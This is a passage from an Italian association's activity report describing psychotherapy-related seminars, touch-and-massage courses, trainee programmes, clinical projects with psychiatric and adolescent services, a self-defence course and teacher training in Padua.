che è il gruppo. Obiettivi Sperimentarsi, con l’aiuto degli strumenti del Modello Funzionale, in un’area dell’esistenza riguardo i funzionamenti del Sé per approfondire e scoprire modi di pensare e vivere la vita. Destinatari Il percorso formativo è rivolto a studenti, laureandi e laureati in Psicologia ed altre discipline che intendono sviluppare sensibilità e capacità personali, anche attraverso esperienze concrete e di lavoro corporeo ed anche confrontarsi con la teoria e la tecnica del Modello Funzionale corporeo. Metodologia Il lavoro prevede tecniche che fanno riferimento al Modello della Psicologia Funzionale: attività in gruppo e in coppia con tecniche di contatto, tocco e massaggio; esperienze che coinvolgono i livelli del Sé e lavoro di riconoscimento e integrazione delle proprie emozioni, sensazioni e vissuti. Tempi Il percorso formativo comprende due giornate, dalle 10.00 alle 17.00. Nel 2014 si sono svolti i seguenti seminari: • “La trappola dell’Io sono..”: Vivi senza vergogna e apriti alla vita”, 21-22 febbraio. • “Come non riuscire a dipendere dall’Amore”, 16-17 luglio. • “Paura del Palco”, 13-14 novembre. Referenti Giuseppe Rizzi, Roberta Rosin. 7.7 GRUPPO MUSICA Attività di ricerca e di formazione sulla musica destinata ai tirocinanti, ai soci e agli allievi della scuola di Psicoterapia Funzionale. Tipologia di Attività: - Parte formativa destinata alla sensibilizzazione ai vari stimoli musicali, attraverso l’ascolto di brani musicali tratti dal repertorio dei partecipanti o da film analizzati insieme; - Parte di ricerca, anche bibliografica, finalizzata alla categorizzazione dei brani ascoltati attraverso strumenti costruiti all’interno dell’attività; - Parte pratica volta ad offrire uno strumento di lettura e ricerca veloce dei brani da parte dei soci e degli allievi del Centro che fanno uso della musica all’interno delle attività del Centro. **Tempi** Cicli di incontri semestrali a cadenza quindicinale della durata di un ora. **Referenti:** Giuseppe Rizzi, Laura Casetta. ### 7.8 CORSO SUL CONTATTO: TOCCO E MASSAGGIO INTEGRATO Attività di formazione destinata ai tirocinanti, ai soci e agli allievi della scuola di Psicoterapia Funzionale. **Tipologia di Attività:** - attività formativa destinata al ripristino delle capacità naturali ed empatiche sul Contatto; - informazioni sui vari approcci teorici al massaggio; - sviluppo di manualità specifiche e manipolazioni utilizzabili negli interventi psicologici; - il massaggio in gravidanza; - il massaggio perinatale. **Tempi** Cicli di incontri semestrali a cadenza quindicinale della durata di due ore ciascuno. **Referente** Giuseppe Rizzi. ### 7.9 CORSO DI TOCCO-MASSAGGIO FUNZIONALE INTEGRATO PER COPPIE Attività di formazione destinata a coppie che vogliono accrescere le loro abilità nell’utilizzo del tocco come strumento comunicativo relazionale. **Tipologia di Attività:** - attività formativa destinata al ripristino delle capacità naturali ed empatiche sul Contatto; - informazioni sui vari approcci teorici al massaggio; - sviluppo della capacità di toccare per comunicare con l’altro; **Tempi** Cicli di 6 incontri a cadenza settimanale della durata di un’ora e mezza ciascuno. **Referenti:** Luca Rizzi, Laura Casetta. ### 7.10 CORSO DI RIABILITAZIONE E RIEDUCAZIONE AL MOVIMENTO PER DISTURBI DELL’EQUILIBRIO E ACUFENI L’attività si colloca all’interno di un protocollo individuale riabilitativo dei disturbi dell’equilibrio, acufeni e somatizzazioni invalidanti, refrattarie ai pregressi interventi farmacologici e di riabilitazione fisioterapica. Questi disturbi s’inseriscono nell’andamento generale della salute della persona, alterando alcune Funzioni: il Controllo, il Movimento, la Percezione, la Respirazione; compromettono le sensazioni, il controllo, la mobilità della persona nella quotidianità. In questa carenza di Benessere e Vitalità s’inserisce l’intervento psico-corporeo sulla persona, ripreso dall’approccio Funzionale Integrato, applicato ai disturbi stress correlati (L. Rispoli) e dalla metodologia clinica. **Obiettivi** Gli obiettivi degli interventi sono quelli di dare continuità e sviluppo al trattamento riabilitativo, già impiantato individualmente, attraverso un lavoro in gruppo, dove ogni partecipante, continuando a ricevere un’attenzione personale, verrà portato a recuperare i Funzionamenti in disequilibrio. In genere, i distretti corporei più compromessi che richiamano spesso esperienze di vita sofferte, sono: il distretto oculare, occlusale, collo-spalle, la cerniera lombare. Si proporranno esercizi respiratori, proprioceettivi, di rieducazione posturale e di training deambulatorio, che coinvolgeranno l’intera persona in esperienze di Allentamento muscolare e del Controllo morbido, di Benessere psicofisico, di armonioso sviluppo del Percepire e del Sentire, ed anche di riduzione degli effetti di compensazione funzionale esagerata. **Destinatari** Tutte le persone con disturbi dell’equilibrio, acufeni e somatizzazioni invalidanti, refrattarie ai pregressi interventi farmacologici e di riabilitazione fisioterapica. **Metodologia** Gli obiettivi degli interventi sono quelli di dare continuità e sviluppo al trattamento riabilitativo, già impiantato individualmente, attraverso un lavoro in gruppo, dove ogni partecipante, continuando a ricevere un’attenzione personale, verrà portato a recuperare i Funzionamenti in disequilibrio. **Tempi** Il corso ha frequenza settimanale per un totale di 8 incontri della durata di un’ora e mezza ciascuno. **Referenti** Giuseppe Rizzi, Oscar Bernardi, Vanessa Marchesini, Debora Trabucchi. ### 7.11 IL PROGETTO DEL “GRUPPO DONNE INTERVENTO” Negli ultimi anni, si sono attivate delle collaborazioni con le Consigliere Provinciale e Regionale delle Pari Opportunità, in particolare nella figura della Dott.ssa Rosin che svolge un ruolo di consulenza diretta con le Consigliere. Presso la nostra associazione è nato, da due anni, il Gruppo Donne Intervento, gruppo di lavoro che, supervisionato dalla Dott.ssa Rosin, si occupa di progettare strategie di diagnosi ed intervento su donne che hanno subito mobbing o molestie sul lavoro, oltre che di muoversi su altre progettualità nell’ambito delle pari opportunità. Il Centro di Psicologia Funzionale intende offrire un supporto alla rete delle Consigliere Provinciali e Regionale del Veneto e dei servizi già attivi preposti alla prevenzione/risoluzione dei conflitti sul lavoro legati a discriminazione di genere, attraverso una diagnosi precoce degli effetti sulla salute ed una presa in carico di chi ne è oggetto, mirata a ridurre e minimizzare le conseguenze psicologiche, relazionali, sociali. Attraverso la condivisione di principi e di strumenti di rilevazione e intervento con le istituzioni di Psicologia e Psicoterapia Funzionale propone interventi nei seguenti campi: Emergenza L’elemento traumatizzante diventa il fulcro della vita; quindi l’obiettivo dell’intervento è di ripristinare, riorganizzare, ridimensionare e delimitare la sfera individuale e sociale, senza perdere i punti di riferimento, quali possono essere le persone centrali nella propria vita, i valori culturali e le risorse personali. Sostegno L’intervento di sostegno ha come obiettivo quello di accompagnare e dare un appoggio alla donna nella situazione problematica che si trova a vivere, sia con un supporto emotivo e psicologico sia con un aiuto concreto nella gestione della stessa, condividendo le difficoltà, trovando aiuto e consigli nelle proprie scelte. Parallelamente è proposto un lavoro sul benessere con attenzione al ripristino della respirazione diaframmatica profonda, alle sensazioni di piacere, all’aprire e ampliare il movimento. Intervento clinico L’intervento clinico ha come obiettivo una profonda ristrutturazione del funzionamento della persona; il superamento delle scissioni tra i diversi Piani del Sé (cognitivo, emotivo, fisiologico e posturale) e il recupero dell’integrazione sono la base per ristabilire il benessere e il senso di pienezza della propria esistenza. Intervento scientifico L’intervento scientifico, consiste nell’utilizzo di strumenti e test standardizzati, che consentono la necessaria valutazione e diagnosi della persona in oggetto, nonché la progettazione di un adeguato e valido intervento clinico. La raccolta di dati consente, inoltre, di poter usufruire di un prezioso supporto statistico relativo all’indagine epidemiologica sulle sintomatologie specifiche legate al disagio lavorativo. Progetto di prevenzione nelle scuole Il progetto, in termini di prevenzione nell’istituzione scolastica, mira a effettuare le seguenti azioni: • ridurre le stereotipie maschili e femminili attraverso l’uso di giochi e giocattoli e attraverso esperienze pratiche; • incentivare l’Esperienza dell’Aggressività giocosa in maschi e femmine; • aumentare il senso della Forza nelle femmine; • incrementare la Tenerezza nei maschi; • lavorare sulle Sensazioni come base per entrare in Contatto con l’altro; • svolgere una breve formazione su queste tematiche per genitori ed insegnanti; Interventi di orientamento e di sviluppo personale e professionale L’intervento di orientamento e sviluppo progettuale di Sé si realizza, dopo un’analisi dei Bisogni, della richiesta e delle risorse personali attraverso: – percorsi individuali di Consulenza orientativa (analisi degli interessi, valori, motivazione) – percorsi individuali di Bilancio di Competenze – percorsi di gruppo in Workshops esperienziali per la ricostruzione e il rafforzamento delle Esperienze di Base cruciali. Queste attività possono comporsi in un intervento integrato centrato sul Bisogno della persona. **Referente** Roberta Rosin. ### 7.12 PERCORSO FORMATIVO-ESPERIENZIALE PER I TIROCINANTI DI PSICOLOGIA I giovani futuri psicologi che vivono l’esperienza del tirocinio, vivono un periodo di vita che li vede attivamente nella costruzione del loro divenire: si continua a crescere e a desiderare, a costruire progetti, da soli o insieme ai propri cari, ai colleghi di studio e di lavoro, a diventare sempre più abili nel riconoscere ciò che piace, ciò che vorrebbero e a realizzarlo nel modo che più appartiene. In questa fase di transizione della vita, in cui sono chiamati a Scegliere il loro futuro personale, professionale e formativo, come l’entrata dal mondo del lavoro, la costruzione di una famiglia, uno spostamento dalla città in cui si vive, saper Progettare e riconoscere le nostre risorse ed il loro Valore diventano capacità fondamentali per affrontare con agio e leggerezza i cambiamenti che si prospettano. **Obiettivi:** - Percepirsi con i propri punti forza, i desideri e il movimento nel mondo; - saper individuare la Continuità dei propri desideri nel passato con quelli dell’oggi, mantenendo una percezione positiva di Sé nei cambiamenti della vita; immaginarsi nel futuro, distinguendo le fantasie dai desideri; - sviluppare un proprio senso di Sé nel confronto con la diversità degli altri senza perdersi, sapendosi sentire soli nelle proprie scelte adulte; - saper usare la Forza in modo aperto e calmo per raggiungere i propri obiettivi, facendosi spazio nella vita; - sentirsi capaci di Controllare in modo efficace la direzione del proprio progetto; - sentire che gli altri possono essere delle risorse, Valorizzando il proprio progetto, potendoli Contattare e costruendo alleanze. **Tempi** Il percorso ha durata semestrale. **Destinatari** Il percorso formativo è rivolto ai tirocinanti che frequentano il Centro. Alla fine del percorso viene consegnato a chi ha frequentato almeno l’80% delle attività del percorso un attestato di partecipazione. **Metodologia** Il progetto è condotto con la metodologia e le tecniche del Bilancio di Competenze, integrate con gli strumenti di intervento della Psicologia Funzionale. Durante il percorso, ogni tirocinante avrà l’occasione di costruire il suo Portfolio delle Esperienze e delle Competenze. **Referenti** Chiara Pacquola, Cristina Carlomagno. 7.13 CORSO DI PRIVACY A partire dal d.lgs 196 del 30.06.03 entrato in vigore il 01.01.04, sull’Informativa per il cliente ai sensi dell’articolo 13 Testo Unico in materia di protezione dei dati personali. Nella nostra associazione si è deciso di tenere una formazione continua in materia per i tirocinanti che la frequentano. Lo sviluppo di tale materia ha determinato la necessità di interrogarsi e formarsi sul rispetto dei principi etici e deontologici dello Psicologo Funzionale, in particolare di come questi principi si declinino durante l’esercizio della professione, e nel periodo di tirocinio nella nostra Associazione, introducendo nuove e differenti questioni etiche, così come formulati nel Codice Deontologico degli Psicologi Italiani. Le questioni aperte sono solo in parte comuni alla Psicologia Clinica, Evolutiva, Sperimentale, del Lavoro e Giuridica, tutte aree di interesse della nostra Associazione. Si tratta di una formazione per evitare di incorrere, soprattutto per i giovani tirocinanti, nel rischio di mettere in atto comportamenti inadeguati, che possono sfociare anche in veri e propri atti contrari all’etica professionale. Il presente lavoro si pone l’obiettivo di esaminare l’applicazione dei principi deontologici nell’ambito della professione psicologica in specifico anche all’applicazione del tocco in tale professione. Si vuole così contribuire anche a migliorare la qualità dell’intervento psicologico fornito e, contestualmente, favorire il consolidamento della Psicoterapia Funzionale. **Obiettivi** Questo corso è indirizzato a formare i tirocinanti dell’Associazione su diverse problematiche inerenti la privacy delle diverse persone che frequentano i nostre attività. Tra questi sono individuati: 1. **Difficoltà del contesto.** Problematicità risultanti dal fornire alcune attività in modo gratuito e volontario (tirocinio formativo). 2. **Rischi della violazione degli elementari diritti umani.** Lavorare con il tocco può determinare violazioni degli elementari diritti umani (incluso il diritto alla salute). 3. **Complessità degli aspetti sociali e culturali.** Lo Psicologo si trova a lavorare con persone appartenenti a culture diverse, sia dal punto di vista della provenienza socio-ambientale che linguistico-geografica, nonché a gruppi socialmente svantaggiati o che presentano marcate problematiche. 4. **Limiti della conoscenza psicologica sul tocco e il contatto.** 5. **La motivazione nell’intraprendere un percorso psicoterapico.** 6. **Obbligo del consenso informato e opportunità relazionale.** Gli Articoli del codice deontologico degli psicologi: 24, 32. 7. **Rispetto della riservatezza / il segreto professionale** Gli Articoli del codice deontologico degli psicologi: 11, 14 e 24. 8. **Protezione del “setting”.** 9. **Documentazione / pareri scritti e verbali.** 10. **Rapporti con altre figure professionali.** Articoli del codice deontologico degli psicologi 6 e 8. 11. **Rapporti con i Colleghi.** Gli Articoli del codice deontologico degli psicologi: 33, 36. 12. Competenza umana e formazione professionale dello Psicologo penitenziario. Gli Articoli del codice deontologico degli psicologi: 5. 13. Promozione del benessere individuale, di gruppo e della comunità. Gli Articoli del codice deontologico degli psicologi: 3. **Destinatari** Tutti i tirocinanti del centro che afferiscono dall'università di psicologia. **Metodologia** I tirocinanti sono invitati a discutere della situazione assieme tenendo presente il codice deontologico degli psicologi e le normative italiane in materia. **Tempi** Il corso è di un'ora quindicinale tenuta al martedì mattina per tutto l'anno, esclusi i periodi di festività. **Referente** Luca Rizzi. ### 7.14 GLOSSARIO Costruzione di un glossario inerente l'area teorica della Psicoterapia Funzionale. **Metodologia** Lettura di testi consigliati ed individuazione dei principali costrutti teorici inerenti alla Psicoterapia Funzionale ed alle psicopatologie da parte di tirocinanti psicologici; successiva attività di sintesi ed analisi storica di questi termini da parte della Commissione glossario, composta da Psicoterapeute Funzionali. **Tempi** Attività in corso da 6 anni, con cadenza bisettimanale. **Destinatari** Tirocinanti psicologi, specializzandi, psicoterapeuti, studenti universitari di psicologia. **Referenti** Giuseppe Rizzi, Valentina Cincotto. ### 7.15 METODOLOGIA DELLA TECNICA: NEOFUNZIONALISMO ED IPNOSI NON VERBALE Gruppo di studio e ricerca teorico/pratico sull'utilizzo dell'Ipnosi Non Verbale all'interno della Metodologia della Tecnica Neofunzionale. **Metodologia** Lettura e ricerca di articoli scientifici, visione di video dimostrativi ed ipnosi didattiche. **Tempi** Attività a cadenza bisettimanale. **Destinatari** Tirocinanti psicologi. **Referenti** Valentina Cincotto, Roberta Rosin, Irene Leo. 7.16 GRUPPO DI LAVORO “IL TOCCO E IL CONTATTO NELLE RELAZIONI DI AIUTO” **Obiettivi** L’obiettivo è riuscire a codificare il Tocco ed il Contatto dentro le Esperienze nell’attività clinico-terapeutica. Individuare le tecniche più specifiche nelle varie attività di aiuto e nei momenti di acutizzazione sintomatica in psicoterapia; codificare una trasmissione base del Tocco e del Contatto nelle relazioni di aiuto, al fine di elaborare un patrimonio di esperienze con le competenze diverse partendo da una tecnica. **Metodologia** Viene effettuata una tecnica specifica, e tradotta nella teoria della tecnica Neofunzionale. **Destinatari** Psicoterapeuti Funzionali e tirocinanti psicologi. **Tempi** Il progetto è operativo da Gennaio 2014. **Referenti** Giuseppe Rizzi, Valentina Cincotto. --- 7.17 GRUPPO DI LAVORO DELLA COMMISSIONE NON VERBALE E SPIRITUALITÀ **CICLO DI INCONTRI “MODELLI OPERATIVI A CONFRONTO”** Gruppo di studio e ricerca teorico/pratico sull’apertura e confronto tra diverse metodologie di intervento corporeo (per es. Feldenkrais, Fisioterapia, Osteopatia, Bertelet, Shatzu, Yoga, Ipnosi) e rilettura all’interno della Metodologia Neofunzionale. **Metodologia** Incontri di dimostrazione delle tecniche effettuate da esperti esterni, rilettura funzionale, studio delle basi anatomiche del distretto considerato e fisiologia della tetania. **Tempi** Attività a cadenza mensile. **Destinatari** Soci del Centro, tirocinanti, specializzandi, iscritti. **Referenti** Valentina Cincotto, Giuseppe Rizzi. 8. ALTRI PROGETTI 8.1 “PROGETTO DI INTERVENTO E RICERCA CON PAZIENTI PSICOTICI” Il progetto di Terapia Funzionale con pazienti psichiatrici nasce nel 2007 come attività strutturata presso l’U.O.S. in convenzione con l’U.L.S.S. 16 (Padova). Il nostro intervento propone di agire sul corpo, a livello fisiologico e posturale. Ciò può produrre degli effetti di cambiamento anche dove il canale verbale, linguistico e cognitivo risulta altamente compromesso. Questa profonda disorganizzazione del disabile psichico richiede come aspetto basilare un lavoro di contenimento e protezione anche come premessa alla possibilità di affidarsi creando una “relazione possibile” che diventa il mezzo e lo strumento che consente, attraverso una comunicazione basata sul contatto corporeo, di accompagnare la persona in questo percorso. Questo intervento si prefigge un miglioramento della qualità di vita dei pazienti inteso come possibilità di raggiungere uno stato di maggior Benessere e piacevolezza. Lavorando sulla complessità della persona, si toccano Esperienze di Base, quali il Percepirsi e Sentirsi, (Sensazioni) il Contatto e il Contenimento (Tenuti) del proprio corpo, allentamento delle tensioni (Lasciare) e Benessere. - Tecniche d’intervento: tocco-massaggio-contatto nei diversi distretti corporei attraverso tecniche funzionali specifiche per le diverse finalità terapeutiche. - Strumenti di valutazione: griglia osservativa (Funzioni del Sé) Dalla precedente esperienza di lavoro presso l’Unità Operativa (2007-2010) si è evidenziata la validità dell’impianto-resa pubblica nel Convegno ad essa destinato in data 22 Ottobre 2010 - con alcune indicazioni migliorative che sono state accolte nel presente progetto proposto per l’anno 2013. **Obiettivi** Attraverso il contatto e tecniche di massaggio, l’obiettivo è quello di modificare ed ampliare Funzioni e Funzionamenti di base particolarmente alterati nel paziente. Tale progetto, integrato con le altre attività del Centro, può costituire una possibilità di recupero di funzioni dei pazienti tale da poter fare presagire una riduzione del carico farmacologico. Questo risultato costituirà uno degli indicatori osservati e rilevati a scopo di ricerca. Gli obiettivi sono molteplici: - a breve termine: lavoro sul CONTATTO per ristabilire col paziente una relazione di riconoscimento, continuità e possibilità di affidarsi. - a medio termine: lavoro su Esperienze di Base specifiche quali PRESI-TENUTI, LASCIARE come allentamento muscolare e posturale nei diversi distretti corporei; lavoro sul BENESSERE attraverso un’attività specifica sul respiro e sulla postura con l’obiettivo di aprire e sciogliere le rigidità e le chiusure cronizzate. **Destinatari** Il progetto di intervento Funzionale coinvolge più pazienti della struttura individuati dall’equipe medico-psicologica. Metodologia Le sedute sono individuali della durata di 1 ora con cadenza bisettimanale. Gli incontri si svolgono in una stanza strutturata per tale attività in cui vengono disposti due materassi a terra. Tale attività consiste in un ciclo di incontri individuali della durata di un’ora ciascuno e prevede l’utilizzo di metodi e tecniche inquadrabili nel modello di terapia Funzionale. Le tecniche d’intervento: tocco-massaggio-contatto nei diversi distretti corporei attraverso tecniche funzionali specifiche per le diverse finalità terapeutiche. Referenti: Ester Boccasso, Rita Pinetti. 8.2 SPORTELLO DI ACCOGLIENZA Il presente progetto è finalizzato alla costruzione di uno Sportello di Ascolto e Accoglienza delle persone che manifestano problematiche affettivo-relazionali all’interno del loro contesto di vita, e che manifestano la necessità e il bisogno di essere ascoltate e sostenute, in modo da poter individuare delle strategie risolutive. Il progetto è stato patrocinato dal Consiglio di Quartiere 5 Sud-Ovest. Obiettivi Il progetto si pone i seguenti obiettivi generali: 1. Prima accoglienza e orientamento: servirà ad accogliere l’adulto o l’adolescente che si presenta allo sportello, dando informazioni sullo stesso e sui Servizi presenti sul territorio, consegnando l’informativa sulla privacy e consenso informato, da dar firmare ai genitori, nel caso di minorenni o da far firmare allo stesso, se maggiorenne. 2. Primo aiuto: servirà a focalizzare l’attenzione sulle problematiche portate dall’utenza nel momento dell’urgenza, ricollocandole nella storia personale e contestualizzandole a livello spazio-temporale. Accompagnare gli individui fornendo loro informazioni pertinenti e facilitando le loro scelte. 3. Costruire una rete con i Servizi presenti sul territorio attraverso la divulgazione di volantini e lettere di presentazione con informazioni adeguate, al fine di offrire un servizio di supporto per le persone con difficoltà psicologico-relazionali. 4. Ricerca epidemiologica: raccogliere dati, in modo anonimo e garantendo la privacy, attraverso la compilazione di una scheda descrittiva relativa al tipo di problematica riscontrata al fine di avere un quadro contestuale della realtà del quartiere rispetto ai problemi affettivo-relazionali. Destinatari Lo sportello si rivolge a ragazzi ed adulti con difficoltà, di tipo personale e relazionale, che, interferiscono nella vita lavorativa, nello studio, nella coppia o nella gestione dei rapporti familiari. Tempi Il progetto è operativo da Gennaio 2012. Referenti Francesca Galvani, Roberta Lubrano. 8.3 ATTIVITÀ DI PSICOTERAPIA FUNZIONALE PRESSO NEUROPSICHIATRIA DELL'INFANZIA E DELL'ADOLESCENZA (NPIA) U.L.S.S 16 PADOVA Attività con gli utenti del Servizio Questa parte del Progetto prevede l’osservazione degli utenti, la stesura di un progetto individualizzato relativo a più pazienti della Semiresidenza e l’attività Funzionale come percorso riabilitativo finalizzato al recupero di risorse relazionali. La continuità del lavoro è garantita dalla presenza di allievi/e della Scuola di Psicoterapia Funzionale di Padova individuati e supervisionati dalle psicoterapeuti responsabili del Progetto. Obiettivi L’obiettivo è quello di modificare ed ampliare Funzioni e Funzionamenti di base particolarmente alterati negli utenti, attraverso la relazione con gli stessi in modo tale da favorire la regolazione affettiva attraverso Esperienze relazionali positive per permettere lo sviluppo e la maturazione del senso di sé. Durante il percorso, che verrà individuato per il singolo utente, si osserveranno alcuni indicatori di benessere (il respiro, la capacità di stare nella relazione, il poter passare da uno stato di attivazione ad uno di maggior allentamento ecc…) che permetteranno di valutare l’andamento degli incontri. Destinatari Il progetto coinvolge più utenti del Servizio individuati dall’equipe medico-psicologica. Metodologia Il percorso di attività Funzionale coi pazienti della Struttura prevede un ciclo di incontri individuali della durata di un’ora ciascuno, con l’utilizzo di metodi e tecniche inquadrabili nel modello di terapia Funzionale. Tempi Il progetto continuativo è attivo da Marzo 2014. Referenti: Rita Pinetti, Ester Boccasso 8.4 SUPERVISIONE CASI CON GLI OPERATORI DELL’EQUIPE DI NEUROPSICHIATRIA DELL'INFANZIA E DELL'ADOLESCENZA, U.L.S.S 16 PADOVA L’attività prevede la strutturazione e conduzione di incontri di equipe da parte di psicoterapeuti/e Funzionali finalizzati all’analisi dei casi. Obiettivi Essendo un percorso rivolto ad operatori che agiscono prevalentemente nella pratica quotidiana, l’utilizzo di questa esperienza e del modello teorico, da l’opportunità di sperimentare strategie e tecniche di lavoro che implicano l’impiego del proprio Sé attraverso un coinvolgimento diretto del gruppo nella relazione. Vengono proposte esperienze concrete ed attive di lavoro, secondo gli obiettivi e i contenuti della supervisione, che i diversi operatori possono applicare poi nei rispettivi ruoli ed ambiti di lavoro. Destinatari Le supervisioni sono rivolte all’equipe del Servizio comprendente neuropsichiatra infantile, assistente sociale, educatori, psicologi afferenti ed operatori socio-sanitari. Metodologia La supervisione ha carattere teorico ed esperienziale e consente di approcciare un diverso modo di Condivisione delle problematiche relative all’utenza e alla sua gestione. I partecipanti sono portati dai trainer in situazioni atte ad esplorare esperienze fondanti lo sviluppo vitale della persona e del gruppo ed, in concomitanza, a comprendere le modalità relazionali in atto tra gli stessi partecipanti. Tempi Il progetto è operativo da Settembre 2014 e prevede un ciclo di 6 incontri annuali della durata di 2 ore ciascuno. Referenti: Rita Pinetti, Ester Boccasso 8.5 SEMINARIO “IL SOGNO DISVELA LA VITA: IL FLUIRE DELLA COSCIENZA TRA TRANCE E ATTO CREATIVO” Da sempre i sogni hanno costituito un’area di interesse per indagare sul mistero della vita individuale e collettiva. Nella pratica terapeutica sono uno strumento importante: una modalità di percezione profonda ed efficace nel dare significato a sé e alla vita. I sogni mantengono la connessione del Sé e sviluppano un intimo dialogo in cui la persona contatta l’integrazione profonda di tutte le sue Funzioni: il conscio (Funzione Razionale) e l’inconscio (nello specifico, la Funzione Onirico-Simbolica) dialogano insieme, proprio attraverso i sogni, integrando funzioni emotive, posturali e fisiologiche. Secondo il Modello Funzionale, i sogni sono una rappresentazione della persona nel suo percepirsi e, spesso, in una sua particolare Organizzazione del Sé, in un dato momento di vita, nelle esperienze di interazione con l’altro compresa la relazione terapeutica: mantengono anche la rappresentazione identitaria. Nella pratica terapeutica si presta grande attenzione alla forma, alla struttura, al contenuto attuale dei sogni; si possono collegare alle libere associazioni, ai residui diurni, al contesto: un parlarsi dell’unicità della persona e del suo percorso clinico, valutandone il processo e le esperienze da attraversare. L’individuo disvela con immagini appropriate un preciso significato per sé e per il contesto, soprattutto rispetto alla terapia, ripercorrendo anche il suo processo evolutivo e la sua storia. I sogni esplicitano, in un racconto variamente scenografico, le modalità di riattraversamento e gli esiti di determinate Esperienze di Base in modo inconscio. Portati nella consapevolezza, mantengono un’integrazione armoniosa di Sé ed espandono le connessioni tra Funzioni, la Continuità positiva, la Creatività e la Progettualità. Obiettivi Acquisire nuove conoscenze sul funzionamento onirico e dare una lettura Funzionale dei sogni. Destinatari Tirocinanti psicologi, specializzandi, studenti universitari, psicologi, psicoterapeuti. Metodologia Lezione frontale ed esperienziale. Tempi Il seminario si è svolto il 2 ottobre 2015 dalle 10.00 alle 17.00. Referenti Ester Boccasso, Valentina Cincotto, Giuseppe Rizzi. 8.6 CORSO DI AUTODIFESA Il corso di autodifesa Funzionale, ha lo scopo di far apprendere tecniche Funzionali e di Autodifesa, destinate a quanti/e desiderino imparare strategie psico-corporee di difesa personale, finalizzate anche alla comprensione delle potenzialità e delle risorse che, nella vita di tutti i giorni, ci possono aiutare ad essere più efficaci per difenderci da possibili attacchi. Le situazioni di pericolo non sono solo di ordine fisico ma, in modo insidioso, si rilevano in tutte le relazioni di sottomissione o di scarsa valorizzazione personale, in cui potere e manipolazione sono le forme di comunicazione predominanti. Ecco perché spesso si assiste a situazioni che concorrono a corrodere, annientare ed esasperare, il cui esito è una sensazione di impotenza e di solitudine che, spesso, la vittima racconta agli amici, ai conoscenti, alla terapeuta. **Obiettivi** - Ricontattare la capacità di ascolto delle proprie Sensazioni e della Forza Aperta. - Sviluppare l’Assertività riuscendo ad agire nel pieno delle proprie risorse cognitive, strategiche, emotive e fisiche. - Imparare rapide tecniche di Autodifesa personale che con il semplice ausilio di oggetti d’uso quotidiano (chiavi, scarpe, etc.) possano aiutarci ad allontanare ed a difendersi da persone molestate o violente. - Sperimentare attraverso tecniche a coppie o in piccoli gruppi come usare Voce e Movimenti con efficacia, qualora aggrediti. **Destinatari** Il percorso esperienziale è rivolto a tutti coloro, inclusi studenti e specializzandi, che intendano sviluppare capacità personali attraverso esperienze pratiche che approfondiscano il tema proposto. **Metodologia** Durante i tre incontri verranno utilizzate tecniche funzionali e tecniche di autodifesa personale.(Krav Maga, Silat, e il Panantukan). **Tempi** Un ciclo di tre incontri, dalla durata complessiva di sette ore, nei mesi di ottobre, novembre e dicembre. In ogni incontro verranno affrontate delle tematiche e delle tecniche specifiche riguardanti modalità di difesa: in casa, in auto e all’aperto. **Referenti** Ester Boccasso, Valentina Cincotto, Silvia Mason e Roberta Rosin 8.7 BENESSERE ORGANIZZATIVO IN AMBITO SCOLASTICO E MIGLIORAMENTO DEL CLIMA DI CLASSE Secondo l’attuale terminologia, l’insegnamento è una professione high-touch (a contatto continuo), implicante, cioè, numerosi contatti diretti con persone in difficoltà. Questa professione può comportare a tal punto, sia emotivamente, sia fisicamente, un rischio elevato di burn-out. La dedizione che tale professione richiede, le lunghe giornate lavorative e l'eccessivo carico di responsabilità sulle persone e sui loro processi di sviluppo sono spesso spossanti, come lo sono i potenziali conflitti relazionali. Per far fronte a tutto questo, alcuni operatori prendono le distanze dalle persone con le quali vengono in contatto ed evitano in vario modo un coinvolgimento personale nel lavoro. Inoltre, la difficoltà nell'ottenere grandi successi può spingere questi professionisti a dubitare delle loro competenze e a interrogarsi sull'opportunità di fare un lavoro così duro (C. Maslach e M. P. Leiter, 1997). Per prevenire e affrontare queste problematiche esiste una formazione specifica del personale (con valenza di ore di aggiornamento per gli insegnanti), ed è questo tipo di formazione ad essere stato attuato nel presente progetto. **Obiettivi** - Gli obiettivi educativi, psicoeducativi e didattici, compresi gli strumenti – Diagramma Funzionale, Funzioni e Funzionamenti maggiormente implicati nell'apprendimento e modalità per l'apprendimento; ridondanza, polarità modularità, mobilità, attaccamento, stupore e meraviglia per raggiungere una lettura integrata del bambino e del preadolescente avendo come focus la relazione. - La conoscenza delle tappe di sviluppo evolutivo del bambino e del preadolescente utili al costruire corrette “relazioni di apprendimento”. - Sintomi e segnali di disagio nell’età evolutiva: la valutazione dei Funzionamenti di fondo e della complessità nell’organizzazione del Sé e del gruppo. - I Laboratori di riequilibrio come proposta di intervento con il gruppo-classe. - Progettazione didattica in ottica Funzionale Integrata: i Funzionamenti che si attivano nelle varie discipline. - Saper distinguere tra le diverse operazioni quelle che perseguono finalità educative ed integrate del Sé: ausiliarità dell’insegnante nelle Funzioni alterate dell’alunno e/o del gruppo classe. - L’importanza del saper osservare e entrare in contatto con il bambino e il preadolescente, nel sapere, nel saper fare e nel fare: osservare – elaborare – verificare – sostenere lo sviluppo sul piano psicoeducativo. - Riconoscere le proprie risorse nella funzione e nel ruolo di insegnante di: Controllo, Autorevolezza, Contenimento, insieme alle capacità di Contatto empatico, Capacità relazionali e comunicative, per la costruzione di “sane e significative relazioni di apprendimento”. **Destinatari** Insegnanti della scuola primaria dell'Istituto Comprensivo “Mezzolombardo”. **Durata** - 2 incontri di formazione teorica di 2 ore ciascuno (in plenaria: tutti i docenti presenti: 42 iscritti) - 2 laboratori esperienziali di 3 ore ciascuno (con momento iniziale in plenaria e successiva suddivisione in due gruppi) 9-10 ottobre 2015 (incontri di formazione teorica); 13 novembre-4 dicembre 2015 (laboratori esperienziali) **Referenti** Giuseppe Rizzi, Ilenia Andreolli, Roberta Lubrano. 9. FORMAZIONE 9.1 CORSO DI FORMAZIONE “IL TOCCO NELLA RELAZIONE DI CURA DELL’ANZIANO” L’agitazione degli anziani che risiedono nelle case di cura è uno dei problemi prevalenti per le figure professionali che se ne prendono cura. Si definisce agitato un comportamento inappropriato sul piano verbale, vocale o motorio, non giustificato da bisogni evidenti da parte dell’osservatore. La frequenza dei comportamenti agitati è relata all’aumento della compromissione della funzionalità cognitiva nell’anziano e dello stress-lavoro correlato degli infermieri e degli operatori socio-sanitari che, talvolta, intervengono con l’utilizzo di restrizioni che riducono la qualità della vita dell’anziano. Un intervento farmacologico riesce talvolta a ridurre l’agitazione ma, considerata l’età degli ospiti e la probabile assunzione concomitante di altri farmaci, aumenta il rischio di effetti collaterali e reazioni avverse ai farmaci. 